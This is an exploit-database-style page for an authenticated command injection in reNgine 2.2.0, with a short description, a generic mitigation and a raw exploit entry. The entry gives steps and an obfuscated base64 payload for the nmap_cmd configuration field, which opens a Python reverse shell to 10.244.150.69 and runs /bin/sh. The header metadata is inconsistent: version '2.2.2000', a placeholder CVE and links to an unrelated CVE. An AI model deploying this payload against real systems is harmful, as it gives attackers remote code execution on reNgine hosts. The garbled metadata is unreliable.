reNgine 2.2.0 - Command Injection (Authenticated)

vendor:

reNgine

by:

Caner Tercan

7.1

CVSS

HIGH

Command Injection

CWE

Product Name: reNgine

Affected Version From: 2.2.2000

Affected Version To: 2.2.2000

Patch Exists: NO

Related CWE: CVE-2024-XXXX (example)

CPE: a:rengine:rengine:2.2.0

Metasploit: https://www.rapid7.com/db/vulnerabilities/ubuntu-cve-2024-42077/, https://www.rapid7.com/db/vulnerabilities/debian-cve-2024-42077/

Other Scripts: https://www.infosecmatter.com/nessus-plugin-library/?id=18405, https://www.infosecmatter.com/why-your-exploit-completed-but-no-session-was-created-try-these-fixes/

Platforms Tested: macOS

2024

reNgine 2.2.0 – Command Injection (Authenticated)

The reNgine version 2.2.0 is vulnerable to authenticated command injection. By modifying the nmap_cmd parameters in the yml configuration, an attacker can inject malicious commands. This can lead to unauthorized remote code execution with the privileges of the application. This exploit allows an authenticated user to execute arbitrary commands on the underlying system.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize and validate user inputs properly. Additionally, access controls should be implemented to restrict users from modifying critical configurations.

Source

Exploit-DB raw data:

# Exploit Title: reNgine 2.2.0 - Command Injection (Authenticated)
# Date: 2024-09-29
# Exploit Author: Caner Tercan
# Vendor Homepage: https://rengine.wiki/
# Software Link: https://github.com/yogeshojha/rengine
# Version: v2.2.0
# Tested on: macOS

POC : 

1. Login the Rengine Platform
2. Click the Scan Engine
3. Modify any Scan Engine
4. I modified nmap_cmd parameters on yml config
5. Finally, add a target in the targets section, select the scan engine you edited and start scanning.

payload :

'nmap_cmd': 'echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMjQ0LjE1MC42OSIsNjE2MTIpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwdHkuc3Bhd24oIi9iaW4vc2giKScg"|base64 --decode |/bin/sh  #’